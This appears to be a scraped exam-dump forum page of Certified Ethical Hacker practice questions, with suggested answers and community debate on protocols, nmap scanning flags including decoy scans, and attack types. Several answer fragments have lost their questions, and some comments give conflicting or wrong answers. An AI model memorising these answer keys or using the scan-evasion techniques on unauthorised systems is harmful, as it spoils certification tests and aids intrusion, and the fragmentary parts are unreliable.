Bella, a security professional working at an IT firm, finds that a security breach has occurred while transferring important files. Sensitive data, employee usernames, and passwords are shared in plaintext, paving the way for hackers to perform successful session hijacking. To address this situation, Bella implemented a protocol that sends data using encryption and digital certificates.

Which of the following protocols is used by Bella?

- A. FTPS
- B. FTP
- C. HTTPS
- D. IP

Suggested Answer: A

Community vote distribution

A (87%)

13%

🗳️ **Henrikrp** Highly Voted 1 year, 6 months ago

Selected Answer: A

Both A and C fits the criteria, but the keyword is she 'transfers', indicating she initially used FTP, hence ftps
upvoted 9 times

🗳️ **jeremy13** Highly Voted 1 year, 8 months ago

Selected Answer: A

A. FTPS

FTPS includes full support for the TLS and SSL cryptographic protocols, including the use of server-side public key authentication certificates and client-side authorization certificates. It also supports compatible ciphers, including AES, RC4, RC2, Triple DES, and DES. It further supports hash functions SHA, MD5, MD4, and MD2.

FTPS adds SSL/TLS encryption to FTP

Answer is A

upvoted 1 times

🗳️ **desertlotus1211** 8 months, 3 weeks ago

Modern policies like GDPR and HIPAA favor secure transfers, elevating SFTP as the top recommendation.

upvoted 1 times

🗳️ **[Removed]** 1 year ago

Selected Answer: A

Another poorly worded question with two correct answers, A. FTPS and C. HTTPS are both correct. But if you want to pass the test, the CEH "most correct" answer is A. FTPS per the other comments in this thread. This was a question for me when I took the exam on 13 Dec 2023.

upvoted 5 times

🗳️ **insaniunt** 1 year ago

A. FTPS

See CEH v12 book Module 04 Page 504:

"Enumeration Countermeasures: Implement secure FTP (SFTP) or FTP secure (FTPS) to encrypt the FTP traffic over the network"

upvoted 3 times

🗳️ **sringan** 1 year, 2 months ago

Selected Answer: A

Correct. Reference: CEH v12 Official book Pg no: 1584

upvoted 3 times

🗳️ 👤 **Tafulu** 1 year, 5 months ago

"while transferring important files" I believe this is a dead giveaway to the correct answer

A. FTPS

upvoted 2 times

🗳️ 👤 **Vincent_Lu** 1 year, 6 months ago

C. HTTPS

HTTPS is considered more secure than FTPS. It provides end-to-end encryption and uses digital certificates for identity verification. FTPS adds an SSL/TLS encryption layer to FTP but lacks comprehensive security. HTTPS offers stronger encryption and identity protection.

A and C are correct. FTPS and HTTPS meet the criteria

upvoted 1 times

🗳️ 👤 **boog** 1 year, 6 months ago

ChatGPT and ForefrontAI selected HTTPS

upvoted 2 times

🗳️ 👤 **bellabop** 1 year, 8 months ago

Selected Answer: A

"breach occurred while transferring files". FTPS is an extension of the FTP protocol that adds support for Transport Layer Security (TLS) or Secure Sockets Layer (SSL) encryption for securing file transfer. Bella could have implemented FTPS as a secure alternative to FTP, which uses plaintext for data transfer and is susceptible to session hijacking attacks.

upvoted 3 times

🗳️ 👤 **eli117** 1 year, 8 months ago

Selected Answer: C

C. HTTPS

Explanation:

HTTPS (Hypertext Transfer Protocol Secure) is a protocol used to secure communication over the internet. It is an extension of HTTP (Hypertext Transfer Protocol) and uses Transport Layer Security (TLS) or Secure Sockets Layer (SSL) to encrypt data sent between a web server and a client. HTTPS ensures that data transmitted between a web server and a client is encrypted and therefore secure against eavesdropping and tampering.

In the given scenario, Bella implemented a protocol that sends data using encryption and digital certificates to address the security breach caused by plaintext transmission of sensitive data. This is exactly what HTTPS does, making it the correct answer.

upvoted 4 times

🗳️ 👤 **581777a** 1 year, 4 months ago

You are wrong because it specifically says transporting files, and not over the internet.

Bill is a network administrator. He wants to eliminate unencrypted traffic inside his company's network. He decides to setup a SPAN port and capture all traffic to the datacenter. He immediately discovers unencrypted traffic in port UDP 161. What protocol is this port using and how can he secure that traffic?

- A. RPC and the best practice is to disable RPC completely.
- B. SNMP and he should change it to SNMP V3.
- C. SNMP and he should change it to SNMP V2, which is encrypted.
- D. It is not necessary to perform any actions, as SNMP is not carrying important information.

Suggested Answer: B

Community vote distribution

B (100%)

eli117 Highly Voted 1 year, 2 months ago

Selected Answer: B

B. Change SNMP to SNMP V3.

Explanation:

SNMP (Simple Network Management Protocol) is a protocol used for managing and monitoring network devices, such as routers, switches, and servers. SNMP uses UDP port 161 for communication. However, SNMP V1 and V2 use clear text community strings for authentication, making them vulnerable to eavesdropping and other attacks.

To secure SNMP traffic, Bill should change the SNMP version to SNMP V3, which provides enhanced security features, such as authentication, encryption, and message integrity. SNMP V3 requires a username and password for authentication, and it supports encryption of the data being transmitted.

995/tcp open  pop3s
Nmap done: 1 IP address (1 host up) scanned in 3.90 seconds
```

What command-line parameter could you use to determine the type and version number of the web server?

- A. -sV
- B. -sS
- C. -Pn
- D. -V

Suggested Answer: A

Community vote distribution

eli117 **Highly Voted** 2 years, 2 months ago

Selected Answer: A

-sV

Explanation:

The "-sV" parameter is used to determine the service version of the target system. This parameter instructs Nmap to attempt to determine the version of any services running on the target system, such as the web server running on port 80 in this case.

When the "-sV" parameter is used, Nmap will try to identify the service version by comparing the fingerprint of the service with a database of known fingerprints. This allows Nmap to determine the type and version number of the service running on the target system.

upvoted 8 times

Dean1065 **Most Recent** 4 months, 1 week ago

Selected Answer: A

To determine the type and version number of the web server using Nmap, you would use the -sV command-line parameter.

Here's a brief explanation:

-sV (Service Version Detection): This option enables Nmap to detect the version of the services running on open ports, providing detailed information about the software and its version.

The other options are not specifically designed for version detection:

-sS: Performs a TCP SYN scan.

-Pn: Treats all hosts as online and skips host discovery.

-V: Typically used in other contexts, but not for service version detection.

Using -sV will help you identify the specific type and version of the web server running on the target.

upvoted 1 times

🗨️ 👤 **alachheb** 8 months, 3 weeks ago

Selected Answer: B

the correct option is -sS with don't have version detail of services

upvoted 1 times

🗨️ 👤 **GK2205** 11 months, 2 weeks ago

Selected Answer: A

The issue here for most is that they are interpreting the provided output in the question and entering the command that best matches that output versus answering the actual question. "What command would you use to get the version (paraphrased)". It's sort of a trick question.

Bob was recently hired by a medical company after it experienced a major cyber security breach. Many patients are complaining that their personal medical records are fully exposed on the Internet and someone can find them with a simple Google search. Bob's boss is very worried because of regulations that protect those data.

Which of the following regulations is mostly violated?

- A. PCI DSS
- B. PII
- C. ISO 2002
- D. HIPPA/PHI

Suggested Answer: D

Community vote distribution

D (100%)

🗳️ 👤 **Vincent_Lu** Highly Voted 👍 1 year, 6 months ago

D. HIPPA/PHI

=====

A. PCI DSS: The Payment Card Industry Data Security Standard (PCI DSS) is a set of security standards designed to ensure the protection of cardholder data.

B. PII: Personally Identifiable Information (PII) refers to any information that can be used to identify an individual, such as their name, address, social security number, or email address.

C. ISO 2002: There is no known standard or widely recognized term "ISO 2002".

D. HIPAA/PHI: The Health Insurance Portability and Accountability Act (HIPAA) establishes rules and regulations to safeguard protected health information (PHI). It applies to healthcare providers, health plans, and other entities handling patient data to ensure its confidentiality, integrity, and availability.

Infecting a system with malware and using phishing to gain credentials to a system or web application are examples of which phase of the ethical hacking methodology?

- A. Scanning
- B. Gaining access
- C. Maintaining access
- D. Reconnaissance

Suggested Answer: B

Community vote distribution

B (100%)

 **eli117** Highly Voted 2 years, 2 months ago

Selected Answer: B

B. Gaining access

Explanation:

The ethical hacking methodology consists of five phases, which are: reconnaissance, scanning, gaining access, maintaining access, and covering tracks.

The phase that involves infecting a system with malware and using phishing to gain credentials to a system or web application is the gaining access phase. In this phase, the attacker attempts to gain unauthorized access to the target system or network by exploiting vulnerabilities, misconfigurations, or weaknesses in the security controls.

There are multiple cloud deployment options depending on how isolated a customer's resources are from those of other customers. Shared environments share the costs and allow each customer to enjoy lower operations expenses. One solution is for a customer to join with a group of users or organizations to share a cloud environment.

What is this cloud deployment option called?

- A. Private
- B. Community
- C. Public
- D. Hybrid

Suggested Answer: B

Community vote distribution

B (100%)

 **eli117** Highly Voted 1 year, 2 months ago

Selected Answer: B

B. Community

Explanation:

The three main types of cloud deployment options are: private, public, and hybrid. However, there is also a fourth deployment option called community cloud.

In a community cloud, a cloud infrastructure is shared by several organizations or groups that have similar computing requirements and concerns. These organizations may be from the same industry, have similar security or compliance requirements, or have other commonalities that make it beneficial for them to share a cloud environment.

Community cloud environments can provide benefits such as lower costs, improved security, and shared expertise. They can also enable collaboration and resource sharing among organizations.

Don, a student, came across a gaming app in a third-party app store and installed it. Subsequently, all the legitimate apps in his smartphone were replaced by deceptive applications that appeared legitimate. He also received many advertisements on his smartphone after installing the app. What is the attack performed on Don in the above scenario?

- A. SIM card attack
- B. Clickjacking
- C. SMS phishing attack
- D. Agent Smith attack

Suggested Answer: D

Community vote distribution

D (100%)

🗳️ 👤 **Vincent_Lu** Highly Voted 1 year ago

D. Agent Smith attack

A. SIM card attack: Attacker exploits vulnerabilities in SIM cards to clone, intercept messages, or manipulate SIM card data for unauthorized access or fraudulent activities.

B. Clickjacking: Attacker hides malicious elements or buttons behind legitimate-looking content or transparent overlays to deceive users into unintended actions, such as executing malicious downloads or making unintended purchases.

C. SMS phishing attack: Attackers send fraudulent SMS messages, pretending to be from legitimate organizations or individuals, to deceive users into revealing sensitive information or performing malicious actions.

D. Agent Smith attack: Malware specifically targeting Android devices, disguising as legitimate apps and infecting devices through vulnerabilities. Once infected, it replaces legitimate apps with malicious versions, aiming to generate revenue through deceptive ads and propagate malware.

Selected Answer: D

D. Agent Smith attack

Explanation:

The scenario describes an attack known as the Agent Smith attack. This is a type of malware that infects Android devices by disguising itself as a legitimate app in third-party app stores. Once the user installs the app, the malware will replace legitimate apps on the device with fake, malicious versions. It can also display unwanted advertisements and collect sensitive information from the device.

Samuel, a security administrator, is assessing the configuration of a web server. He noticed that the server permits SSLv2 connections, and the same private key certificate is used on a different server that allows SSLv2 connections. This vulnerability makes the web server vulnerable to attacks as the SSLv2 server can leak key information.

Which of the following attacks can be performed by exploiting the above vulnerability?

- A. Padding oracle attack
- B. DROWN attack
- C. DUHK attack
- D. Side-channel attack

Suggested Answer: B

Community vote distribution

B (100%)

🗳️ 👤 **Vincent_Lu** Highly Voted 1 year ago

B. DROWN attack

A. Padding oracle attack: Exploiting padding to decrypt data.

B. DROWN attack: Decrypting SSL/TLS communications through SSLv2 vulnerability.

C. DUHK attack: Exploiting weak random number generators to compromise encryption.

D. Side-channel attack: Extracting sensitive data through unintended channels, such as power consumption, electromagnetic radiation, or timing variations, to infer sensitive data or cryptographic keys.

upvoted 17 times

🗳️ 👤 **eli117** Highly Voted 1 year, 2 months ago

Selected Answer: B

B. DROWN attack

Explanation:

The scenario describes a vulnerability where the web server permits SSLv2 connections and the same private key certificate is used on a different server that also allows SSLv2 connections. This is a security weakness because SSLv2 is a deprecated and insecure protocol that is susceptible to attacks.

One attack that can be performed by exploiting this vulnerability is the DROWN (Decrypting RSA with Obsolete and Weakened eNcryption) attack. This attack allows an attacker to decrypt intercepted SSL traffic by exploiting a vulnerability in the SSLv2 protocol.

In the DROWN attack, the attacker first sends specially crafted packets to the SSLv2 server to obtain data encrypted with the server's private key. The attacker can then use this data to decrypt intercepted SSL traffic that was encrypted with the same private key.

ARIN (American Registry for Internet Numbers)

upvoted 1 times

🗳️ **g_man_rap** 8 months ago

DuckDuckGo - This is a search engine known for its privacy policies. Unlike some other search engines, DuckDuckGo doesn't track its users and aims to provide search results with enhanced privacy.

AOL - Originally known as America Online, AOL was a giant in the early internet era, providing dial-up internet service, email, instant messaging (AIM), and a web portal.

ARIN - The American Registry for Internet Numbers (ARIN) is a nonprofit membership organization that manages the distribution of Internet number resources, including IPv4 and IPv6 address space and Autonomous System Numbers (ASNs) in its designated region.

Baidu - This is a Chinese multinational technology company specializing in Internet-related services and products and artificial intelligence. It's best known for its search engine services, similar to Google in the Chinese market.

upvoted 3 times

🗳️ **eli117** 1 year, 8 months ago

Selected Answer: C

C. ARIN

Explanation:

The scenario describes a reconnaissance phase technique called footprinting, which involves gathering information about a target organization in order to identify potential vulnerabilities or attack vectors.

In this case, Clark has used Whois footprinting to obtain the server IP address of the target organization. He has then used an online tool to retrieve information such as the network range of the target organization and to identify the network topology and operating system used in the network.

One such online tool that can be used for this purpose is ARIN (American Registry for Internet Numbers). ARIN is a non-profit organization that manages the allocation and registration of IP addresses and other Internet number resources in North America.

You are a penetration tester and are about to perform a scan on a specific server. The agreement that you signed with the client contains the following specific condition for the scan: "The attacker must scan every port on the server several times using a set of spoofed source IP addresses." Suppose that you are using Nmap to perform this scan.

What flag will you use to satisfy this requirement?

- A. The -g flag
- B. The -A flag
- C. The -f flag
- D. The -D flag

Suggested Answer: D

Community vote distribution

D (100%)

  **eli117**  1 year, 8 months ago

Selected Answer: D

D. The -D flag

Explanation:

The scenario describes a specific condition for a penetration testing scan, where the tester is required to scan every port on a server several times using a set of spoofed source IP addresses. The tester is using Nmap to perform the scan and needs to know which flag to use to satisfy this requirement.

The -D flag is used in Nmap to specify a decoy scan. A decoy scan involves sending packets with spoofed IP addresses in order to disguise the true source of the scan. This can be used to make it more difficult for network intrusion detection systems (NIDS) to detect the scan, as well as to confuse the target system about the true source of the traffic.

To use the -D flag, the tester specifies a list of decoy IP addresses to be used in the scan. These decoy addresses will be interspersed with the true source IP address in the scan traffic.

upvoted 12 times

  **[Removed]**  1 year ago

Selected Answer: D

D. The -D flag is the correct answer. Another correct answer would be the -S flag (Spoof Source Address), but the -S flag is not a listed option. So the -D flag that is listed is the correct answer. This was an exam question for me when I took the exam on 13 Dec 2023.

Jude, a pen tester, examined a network from a hacker's perspective to identify exploits and vulnerabilities accessible to the outside world by using devices such as firewalls, routers, and servers. In this process, he also estimated the threat of network security attacks and determined the level of security of the corporate network.

What is the type of vulnerability assessment that Jude performed on the organization?

- A. Application assessment
- B. External assessment
- C. Passive assessment
- D. Host-based assessment

Suggested Answer: B

Community vote distribution

B (100%)

🗳️ 👤 **Vincent_Lu** Highly Voted 🏆 2 years ago

B. External assessment

Application assessment: It evaluates specific software applications to identify vulnerabilities and weaknesses that could be exploited by attackers.

External assessment: It assesses the security of external systems and networks from an external perspective to identify vulnerabilities and security weaknesses.

Passive assessment: It evaluates security by monitoring and analyzing network traffic and system behavior without directly interacting with the system.

Host-based assessment: It evaluates the security of individual hosts or servers by inspecting their configuration, patches, and security policies.

Selected Answer: B

B. External assessment

Explanation:

The scenario describes a type of vulnerability assessment where a pen tester (Jude) examines a network from a hacker's perspective to identify exploits and vulnerabilities that are accessible to the outside world, such as through firewalls, routers, and servers. This type of assessment is called an external assessment.

External assessments are designed to simulate an attack from an external threat actor, such as a hacker or cybercriminal. The focus is on identifying vulnerabilities that are accessible from the Internet, such as open ports, unpatched software, weak passwords, and misconfigured systems.

External assessments typically involve a combination of automated scanning tools and manual testing techniques. The objective is to determine the level of security of the corporate network and estimate the threat of network security attacks.

This form of encryption algorithm is a symmetric key block cipher that is characterized by a 128-bit block size, and its key size can be up to 256 bits. Which among the following is this encryption algorithm?

- A. HMAC encryption algorithm
- B. Twofish encryption algorithm
- C. IDEA
- D. Blowfish encryption algorithm

Suggested Answer: B

Community vote distribution

B (100%)

  **eli117** Highly Voted 1 year, 8 months ago

Selected Answer: B

B. Twofish encryption algorithm

Explanation:

The Twofish encryption algorithm is a symmetric key block cipher that was designed to be secure, efficient, and flexible. It uses a block size of 128 bits and can have key sizes up to 256 bits, making it highly secure.

Twofish was one of the five finalists in the Advanced Encryption Standard (AES) competition organized by the U.S. National Institute of Standards and Technology (NIST) in 1997. Although it was not selected as the winner, Twofish is still considered a highly secure encryption algorithm and is widely used in various applications.

upvoted 12 times

  **g_man_rap** Most Recent 8 months ago

A. HMAC encryption algorithm: Incorrect. HMAC stands for Hash-based Message Authentication Code. It is not an encryption algorithm but a type of message authentication code (MAC) involving a cryptographic hash function and a secret cryptographic key.

B. Twofish encryption algorithm: Correct. Twofish is indeed a symmetric key block cipher with a block size of 128 bits, and it can use key sizes up to 256 bits. It was one of the five finalists for the Advanced Encryption Standard (AES) competition but was not selected as the AES.

C. IDEA: Incorrect. IDEA, which stands for International Data Encryption Algorithm, is also a symmetric key block cipher but it uses a 64-bit block size and a 128-bit key size, which does not match the characteristics mentioned in your question.

D. Blowfish encryption algorithm: Incorrect. Blowfish is a symmetric key block cipher that has a 64-bit block size and supports variable key lengths from 32 to 448 bits. It does not match the 128-bit block size described in the question.

upvoted 2 times

Twofish uses a block size of 128 bits and key sizes up to 256 bits. It is a Feistel cipher

Jude, a pen tester working in Keiltech Ltd., performs sophisticated security testing on his company's network infrastructure to identify security loopholes. In this process, he started to circumvent the network protection tools and firewalls used in the company. He employed a technique that can create forged TCP sessions by carrying out multiple SYN, ACK, and RST or FIN packets. Further, this process allowed Jude to execute DDoS attacks that can exhaust the network resources.

What is the attack technique used by Jude for finding loopholes in the above scenario?

- A. Spoofed session flood attack
- B. UDP flood attack
- C. Peer-to-peer attack
- D. Ping-of-death attack

Suggested Answer: A

Community vote distribution

A (100%)

 **eli117** Highly Voted 1 year, 2 months ago

Selected Answer: A

A. Spoofed session flood attack

Explanation:

Jude used a spoofed session flood attack to bypass the network protection tools and firewalls used in his company's network infrastructure. This attack technique involves creating forged TCP sessions by sending multiple SYN, ACK, RST, or FIN packets to the target system. By doing so, the attacker can exhaust the target system's resources and make it unresponsive to legitimate requests.

In a spoofed session flood attack, the attacker sends packets with a forged source IP address, making it difficult for the target system to distinguish between legitimate and malicious traffic. This makes it easier for the attacker to bypass network protection tools and firewalls, which may be configured to block traffic from known malicious IP addresses.

A. Spoofed session flood attack

Module 10 Page 1449 from CEH v12 book

upvoted 1 times

 **IPconfig** 8 months ago

Selected Answer: A

Spoofed Session Flood Attack

In this type of attack, attackers create fake or spoofed TCP sessions by carrying multiple SYN, ACK, and RST or FIN packets. Attackers employ this attack to bypass firewalls and perform DDoS attacks against target networks, exhausting their network resources.

The following are examples for spoofed session flood attacks:

- Multiple SYN-ACK Spoofed Session Flood Attack

In this type of flood attack, attackers create a fake session with multiple SYN and multiple ACK packets, along with one or more RST or FIN packets.

- Multiple ACK Spoofed Session Flood Attack

In this type of flood attack, attackers create a fake session by completely skipping SYN packets and using only multiple ACK packets along with one or more RST or FIN packets. Because SYN packets are not employed and firewalls mostly use SYN packet filters to detect abnormal traffic, the DDoS detection rate of the firewalls is very low for these types of attacks.

B (100%)

  **eli117**  1 year, 8 months ago

Selected Answer: B

B. `nmap -Pn -sU -p 44818 --script enip-info < Target IP >`

Explanation:

The Ethernet/IP protocol is commonly used in industrial control systems (ICS) and critical infrastructure. Jim targeted an organization that is operating critical industrial infrastructure, and he used Nmap to scan open ports and running services on systems connected to the organization's OT network.

To identify Ethernet/IP devices connected to the Internet and gather information such as the vendor name, product code and name, device name, and IP address, Jim used the Nmap script "enip-info". This script is designed to scan for Ethernet/IP devices and gather information about them.

upvoted 9 times

  **Vincent_Lu** 1 year, 6 months ago

The port 44818 should be the TCP (explicit) and port 2222 is the UDP (implicit).

I'm curious why the answer is "B. `nmap -Pn -sU -p 44818 --script enip-info < Target IP >`", but not "B. `nmap -Pn -sT -p 44818 --script enip-info < Target IP >`"?

upvoted 5 times

  **Beter0** 1 year, 2 months ago

This is probably because the option "-sU" specifies just an UDP scan for open port, but the option "--script enip-info" specifies to also scan for TCP port 44818.

See the nmap documentation:

<https://nmap.org/nsedoc/scripts/enip-info.html>

This NSE script is used to send a EtherNet/IP packet to a remote device that has TCP 44818 open. The script will send a Request Identity Packet and once a response is received, it validates that it was a proper response to the command that was sent, and then will parse out the data. Information that is parsed includes Device Type, Vendor ID, Product name, Serial Number, Product code, Revision Number, status, state, as well as the Device IP.

upvoted 2 times

  **y2mk1ng**  11 months ago

He wants to identify Ethernet/IP devices, therefore he can use --script enip-info. And this script uses TCP 44818.

Richard, an attacker, aimed to hack IoT devices connected to a target network. In this process, Richard recorded the frequency required to share information between connected devices. After obtaining the frequency, he captured the original data when commands were initiated by the connected devices. Once the original data were collected, he used free tools such as URH to segregate the command sequence. Subsequently, he started injecting the segregated command sequence on the same frequency into the IoT network, which repeats the captured signals of the devices.

What is the type of attack performed by Richard in the above scenario?

- A. Cryptanalysis attack
- B. Reconnaissance attack
- C. Side-channel attack
- D. Replay attack

Suggested Answer: D

Community vote distribution

D (100%)

  **eli117** Highly Voted 1 year, 2 months ago

Selected Answer: D

D. Replay attack

Explanation:

In the given scenario, Richard aims to hack IoT devices connected to a target network using a replay attack. He records the frequency required to share information between connected devices and captures the original data when commands are initiated by the connected devices. Once the original data are collected, he uses free tools such as URH to segregate the command sequence. Subsequently, he starts injecting the segregated command sequence on the same frequency into the IoT network, which repeats the captured signals of the devices.

In a replay attack, an attacker records legitimate data transmissions and later retransmits them, hoping to impersonate the original sender or gain unauthorized access. The attacker captures the data packets or messages transmitted between two entities and replays them back to the same or another entity, leading to unauthorized access, impersonation, or denial of service.

Which of the following allows attackers to draw a map or outline the target organization's network infrastructure to know about the actual environment that they are going to hack?

- A. Vulnerability analysis
- B. Malware analysis
- C. Scanning networks
- D. Enumeration

Suggested Answer: C

Community vote distribution

eli117 Highly Voted 1 year, 8 months ago

Selected Answer: C

C. Scanning networks

Scanning networks allows attackers to draw a map or outline the target organization's network infrastructure to know about the actual environment that they are going to hack. Scanning can help the attacker identify the IP addresses, operating systems, open ports, and running services of the systems connected to the target network. This information can then be used to identify vulnerabilities and plan further attacks.

Enumeration is the process of extracting usernames, machine names, network resources, shares, and services from a system or network. In the enumeration phase, an attacker creates active connections with the system and sends directed queries to gain more information about the target.

Scanning is the process of gathering additional detailed information about the target using highly complex and aggressive reconnaissance techniques

Certified Ethical Hacker (CEH) Version 12 P401 and P261

upvoted 1 times

g_man_rap 8 months ago

C. Scanning networks: Network scanning is the process of actively probing a network or systems using tools to discover devices and their details. This would include IP addresses, open ports, services running, and other characteristics. This process is essential for attackers to draw a map or outline of a network infrastructure.

D. Enumeration: Enumeration is a process that goes a step further than scanning. It involves extracting user names, machine names, network resources, shares, and services from a system. While enumeration can provide detailed information and could be part of the process to understand the target environment, it is typically done after scanning networks.

D. Enumeration

Enumeration is the process of extracting information about a target network or system. It allows attackers to gather details about the network infrastructure, such as the IP addresses of active hosts, open ports, services running on those ports, and sometimes even user accounts. This information can help attackers create a map or outline of the target organization's network infrastructure, enabling them to better understand the environment they plan to attack. Enumeration is a reconnaissance technique used by attackers as a preparatory step in hacking.

Your company was hired by a small healthcare provider to perform a technical assessment on the network. What is the best approach for discovering vulnerabilities on a Windows-based computer?

- A. Use the built-in Windows Update tool
- B. Use a scan tool like Nessus
- C. Check MITRE.org for the latest list of CVE findings
- D. Create a disk image of a clean Windows installation

Suggested Answer: B

Community vote distribution

B (100%)

🗳️ 👤 **581777a** Highly Voted 10 months, 4 weeks ago

Selected Answer: B

B. Use a scan tool like Nessus

Nessus is a widely used vulnerability scanning tool that can help identify vulnerabilities, misconfigurations, and potential security issues in a system. It scans the target system for known vulnerabilities and provides detailed reports on its findings, allowing you to take appropriate actions to address the identified security issues.

While the other options (A, C, and D) are also important considerations in the context of cybersecurity and system assessment, using a specialized vulnerability scanning tool like Nessus is specifically designed to efficiently discover and assess vulnerabilities in a system.

upvoted 6 times

🗳️ 👤 **Vincent_Lu** Most Recent 1 year ago

B. Use a scan tool like Nessus

upvoted 2 times

🗳️ 👤 **eli117** 1 year, 2 months ago

Selected Answer: B

B. Use a scan tool like Nessus.

Using a scan tool like Nessus is a good approach for discovering vulnerabilities on a Windows-based computer. Nessus can scan and analyze a system for vulnerabilities, configuration errors, and other security issues. It can also provide reports on the security posture of the system and suggest remediation steps. Other methods like using Windows Update or checking CVE findings can be useful, but they may not be as comprehensive as using a dedicated vulnerability scanner. Creating a disk image of a clean Windows installation is also useful, but it is more relevant for forensic analysis rather than vulnerability assessment.

Which iOS jailbreaking technique patches the kernel during the device boot so that it becomes jailbroken after each successive reboot?

- A. Tethered jailbreaking
- B. Semi-untethered jailbreaking
- C. Semi-tethered jailbreaking
- D. Untethered jailbreaking

Suggested Answer: D

Community vote distribution

D (100%)

🗳️ 👤 **Rocko1** Highly Voted 🏆 1 year, 6 months ago

In a tethered jailbreak, the device must be connected to a computer each time it is restarted. The jailbreak exploit needs to be applied again using special software or tools to gain access to the device's filesystem and allow the installation of unauthorized apps and modifications. Without this reapplication, the device will boot into a non-jailbroken state.

On the other hand, an untethered jailbreak is more convenient as it does not require a computer connection every time the device restarts. Once the untethered jailbreak is successfully performed, the modifications made to the device remain persistent even after a reboot. The device can be turned on and off without losing the jailbreak status, allowing the use of unauthorized apps and tweaks without any additional steps.

D. Untethered jailbreaking

upvoted 1 times

🗳️ 👤 **eli117** 1 year, 8 months ago

Selected Answer: D

D. Untethered jailbreaking

Explanation:

Untethered jailbreaking is a type of jailbreaking technique that allows an iOS device to maintain the jailbreak state even after rebooting. This is achieved by patching the kernel during the device boot process so that it always loads a jailbroken version of the operating system. Unlike tethered or semi-tethered jailbreaking, the user does not need to connect the device to a computer each time it is rebooted to maintain the jailbreak state.

Stella, a professional hacker, performs an attack on web services by exploiting a vulnerability that provides additional routing information in the SOAP header to support asynchronous communication. This further allows the transmission of web-service requests and response messages using different TCP connections.

Which of the following attack techniques is used by Stella to compromise the web services?

- A. Web services parsing attacks
- B. WS-Address spoofing
- C. SOAPAction spoofing
- D. XML injection

Suggested Answer: B

Community vote distribution

B (100%)

 **eli117**  1 year, 8 months ago

Selected Answer: B

B. WS-Address spoofing

Explanation:

WS-Address spoofing is an attack technique used to exploit a vulnerability that provides additional routing information in the SOAP header to support asynchronous communication. This vulnerability allows the transmission of web-service requests and response messages using different TCP connections. An attacker can exploit this vulnerability by modifying the WS-Addressing header to redirect the web-service request to a different endpoint or server.

In a WS-Address spoofing attack, the attacker crafts a malicious SOAP message that includes a modified WS-Addressing header. This header contains a spoofed address that points to a malicious endpoint or server controlled by the attacker. When the SOAP message is processed by the web service, it sends the response to the spoofed address specified in the header, allowing the attacker to intercept and modify the response.

A. Pharming

CEH Book V12 Module 09 P1357

"Pharming is a social engineering technique in which the attacker executes malicious programs on a victim's computer or server, and when the victim enters any URL or domain name, it automatically redirects the victim's traffic to an attacker-controlled website. This attack is also known as "Phishing without a Lure." The attacker steals confidential information like credentials, banking details, and other information related to web-based services.

Pharming attack can be performed in two ways: DNS Cache Poisoning and Host File Modification"

upvoted 3 times

🗳️ 👤 **eli117** 1 year, 8 months ago

Selected Answer: A

A. Pharming

Explanation:

Pharming is a type of cyber attack where an attacker redirects the traffic of a legitimate website to a fake website, which is designed to look identical to the original website. The attackers achieve this by exploiting vulnerabilities in the DNS server software or by modifying the local hosts file on the victim's computer. The aim of this attack is to gather sensitive information, such as login credentials, credit card details, or other personal information, from the victim.

In the given scenario, Steve performed DNS cache poisoning to redirect the web traffic of the target organization's website to a malicious website. By doing this, he can trick the users into entering their sensitive information into the fake website, which can be later used for identity theft.

What is the port to block first in case you are suspicious that an IoT device has been compromised?

- A. 22
- B. 48101
- C. 80
- D. 443

Suggested Answer: B

Community vote distribution

B (100%)

  **eli117** Highly Voted 1 year, 8 months ago

Selected Answer: B

B. 48101

Explanation:

Port 48101 is the default port used by Mirai, one of the most well-known IoT botnets. Mirai searches for IoT devices that have weak or default credentials, and once it gains access, it uses port 48101 to communicate with its command and control (C&C) server. By blocking port 48101, the infected device will not be able to communicate with the C&C server, and this can prevent the attacker from controlling the device or launching DDoS attacks.

upvoted 1 times

victorfs 1 year, 7 months ago

Selected Answer: D

The correct option is D.

Idle scanning (also known as zombie scanning) is a firewall evasion technique that uses a zombie system with low network activity to scan a target system

upvoted 2 times

Muli_70 1 year, 7 months ago

The correct answer is A. Packet fragmentation scanning is a technique used to evade firewalls by fragmenting packets to bypass firewall rules. In this technique, the attacker sends a large packet that is broken down into smaller fragments. The fragments are sent to the target system and are reassembled by the system's TCP/IP stack. The firewall may only inspect the first fragment, allowing the subsequent fragments to bypass the firewall rules. The attacker may use a zombie system with low network activity to generate fragmented packets with random fragment identification numbers

to evade detection.

In contrast, the technique mentioned in the question uses the fragmentation identification numbers of a zombie system to evade firewall scanning. Therefore, the correct answer is A, packet fragmentation scanning.

upvoted 1 times

🗲️ 👤 **sausageman** 1 year, 8 months ago

Selected Answer: D

D. Idle scanning

upvoted 2 times

🗲️ 👤 **eli117** 1 year, 8 months ago

Selected Answer: A

A. Packet fragmentation scanning

Packet fragmentation scanning involves breaking up packets into smaller fragments to evade firewall or intrusion detection system (IDS) rules that are configured to block or detect packets of a certain size or pattern. By using a zombie system with low network activity, the attacker can minimize the chances of detection and increase the chances of successful evasion. The attacker can also manipulate the fragment identification numbers to avoid detection.

Selected Answer: A

A. Remediation

Explanation:

The vulnerability-management life cycle consists of several phases, including risk assessment, vulnerability scan, reporting, prioritization, remediation, and verification. The remediation phase is the process of applying fixes on vulnerable systems to reduce the impact and severity of vulnerabilities.

In this phase, the organization takes actions to fix the identified vulnerabilities based on their severity and impact on the business. The remediation process includes the application of patches, the installation of updates, the configuration of settings, and the implementation of security controls to reduce the risk of exploitation.

Alice, a professional hacker, targeted an organization's cloud services. She infiltrated the target's MSP provider by sending spear-phishing emails and distributed custom-made malware to compromise user accounts and gain remote access to the cloud service. Further, she accessed the target customer profiles with her MSP account, compressed the customer data, and stored them in the MSP. Then, she used this information to launch further attacks on the target organization.

Which of the following cloud attacks did Alice perform in the above scenario?

- A. Cloud cryptojacking
- B. Man-in-the-cloud (MITC) attack
- C. Cloud hopper attack
- D. Cloudborne attack

Suggested Answer: C

Community vote distribution

jeremy13 Highly Voted 2 years, 2 months ago

Selected Answer: C

C. Cloud hopper attack

like 312-50v11 Q141

CEH book V12 Module19 P3155

Cloud hopper attacks are triggered at managed service providers (MSPs) and their customers. Once the attack is successfully implemented, attackers can gain remote access to the intellectual property and critical information of the target MSP and its global users/customers.

...

Attackers initiate spear-phishing emails with custom-made malware to compromise user accounts of staff members or cloud service firms to obtain confidential information.

...

Attackers breach the security mechanisms impersonating a valid service provider and gain complete access to corporate data of the enterprise and connected customers.

..

The attacker then extracts the information from the MSP and uses that information to launch further attacks on the target organization and users.

upvoted 6 times

Vincent_Lu Highly Voted 2 years ago

C. Cloud hopper attack

